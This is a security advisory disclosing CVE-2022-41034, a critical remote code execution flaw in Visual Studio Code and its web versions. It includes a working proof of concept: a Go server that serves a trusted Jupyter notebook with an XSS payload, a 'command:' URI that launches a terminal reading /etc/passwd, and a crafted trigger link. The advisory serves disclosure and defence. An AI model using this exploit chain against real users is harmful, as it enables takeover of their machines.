Skip to content

Visual Studio Code: Remote Code Execution

Critical
rcorrea35 published GHSA-pw56-c55x-cm9m Dec 1, 2022

Package

Visual Studio (Microsoft)

Affected versions

v1.4.0 - v1.71.1

Patched versions

v1.73.1

Description

Summary

An attacker could, through a link or website, take over the computer of a Visual Studio Code user and any computers they were connected to via the Visual Studio Code Remote Development feature. This issue affected at least GitHub Codespaces, github.dev, the web-based Visual Studio Code for Web and to a lesser extent Visual Studio Code desktop.

Severity

Critical - This vulnerability allows remote code execution for any computer connected via Visual Studio Code.

Proof of Concept

Visual Studio Code places various levels of security restriction on content opened in the editor to prevent a malicious attacker creating a view window that is able to execute a ‘command:’ link.

A primary method by which the editor performs these restrictions is the internal trust model, which retains an ‘isTrusted’ annotation when views are opened. Documents that are opened with ‘isTrusted’ set to true are able to execute ‘command:’ URIs, as well as directly create unsafe HTML in Jypiter Notebook mode.

A Jypiter Notebook is a type of rich text document supported out of the box by Visual Studio Code. Used primarily in data science, it is made up of multiple segments of Python code, Markdown, HTML and other formats. The Python code is run on the viewer machine to generate diagrams. Because running potentially foreign or malicious code is dangerous, a Jypiter notebook normally starts in untrusted mode and the user is shown a dialog to confirm trust. When the document is trusted most security restrictions are bypassed.

Each Visual Studio Code window is its own instance of Visual Studio Code. To facilitate opening the same file in a new editor window, an ‘openFile’ parameter is provided for the editor internals to construct. openFile is a ‘payload’ parameter, where ‘payload’ is a series of flags given to the editor via URL query parameters when it starts. Files opened this way are opened in trusted mode because the editor assumes that it was triggered by a user gesture in the editor.

The payload parameter is a query-encoded JSON. The unencoded form for opening a local file from c:/something.txt looks like this: [["openFile","file://c:/something.txt"]] . This then becomes ?payload=%5B%5B%22openFile%22%2C%22file%3A%2F%2Fc%3A%2Fsomething.txt%22%5D%5D.

We can prepare an HTTP server that always allows its remote content to be downloaded via CORS. If Visual Studio Code loads this remote file from a URL that ends in ‘.ipynb’, it will be opened as a Jypiter Notebook in trusted mode immediately when the user follows the link.

// https://golang.org
package main

import "net/http"

const file = `{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<img src=a onerror=\"let q = document.createElement('a');q.href='command:workbench.action.terminal.new?
%7B%22config%22%3A%7B%22executable%22%3A%22vim%22%2C%22args%22%3A%5B%22%2Fetc%2Fpasswd%22%5D%
7D%7D';document.body.appendChild(q);q.click()\"/>"
   ]
  }
]}`

func Do() (err error) {
	return http.ListenAndServe(":http-alt" /* 8080 */, http.HandlerFunc(func(rw http.ResponseWriter, rq *http.Request) {
		rw.Header().Set("Access-Control-Allow-Origin", "*")
		rw.Write([]byte(file))
	}))
}

func main() {
	if err := Do(); err != nil {
		panic(err)
	}
}

The contents of the ‘file’ in this code are a single Markdown cell in ipynb format. Because Markdown allows arbitrary HTML, in trusted mode, we can inject any HTML code we want into the webview.

For legacy security reasons, you can’t run JavaScript code directly from <script> tags in HTML code that is injected after the page fully loads. To mitigate this our code creates an image, an <a> tag with a target that does not exist. The tag is configured so that upon the immediate failure it runs our JavaScript code.

Because ‘command:’ is not a standard browser feature, VSCode injects this functionality by detecting when an ‘a’ element, a link is added to the document. Our JavaScript code creates this link, adds it to the page and then immediately clicks it as though the user did themselves.

This gives us the ability to run arbitrary commands via the command: URI feature but to take over the victim’s computer or the computer they’re connected to, we need to issue commands directly to the victim’s machine. We start with the command ‘workbench.action.terminal.new’. This identifier isn’t documented, but can be found in the source code.

Command URIs may specify ‘args’ in the query component of the URI, which are passed to the command as though it was called directly from JavaScript. ‘workbench.action.terminal.new’ can take an ICreateTerminalOptions object which itself has an IShellLaunchConfig object as its ‘config’ parameter. IShellLaunchConfig has an ‘executable’ parameter which lets you override the command the program tries to run when it starts.

Thus, our command URI, which makes the user launch a new terminal, and instructs that terminal to run ‘vim /etc/passwd’. This opens the password file of the user’s computer, demonstrating our ability to run code on their machine.

Once the server described above is run, when victim clicks a prepared link (for example https://vscode.dev/?payload=%5B%5B%22openFile%22,%22https://%5Bserver_location_goes_here%5D/something.ipynb%22) VSCode will load the file, detect it as a Jypiter Notebook, and immediately run a command on the user’s machine.

Further Analysis

This vulnerability affected vscode.dev, CodeSpaces and may affect other web-based implementations of VSCode OSS. VSCode vulnerability disclosure.

This vulnerability has been remediated by Microsoft patch

Timeline

Date reported: 8/24/2022
Date fixed: 10/11/2022
Date disclosed: 11/22/2022

Severity

Critical

CVE ID

CVE-2022-41034

Weaknesses

No CWEs

Credits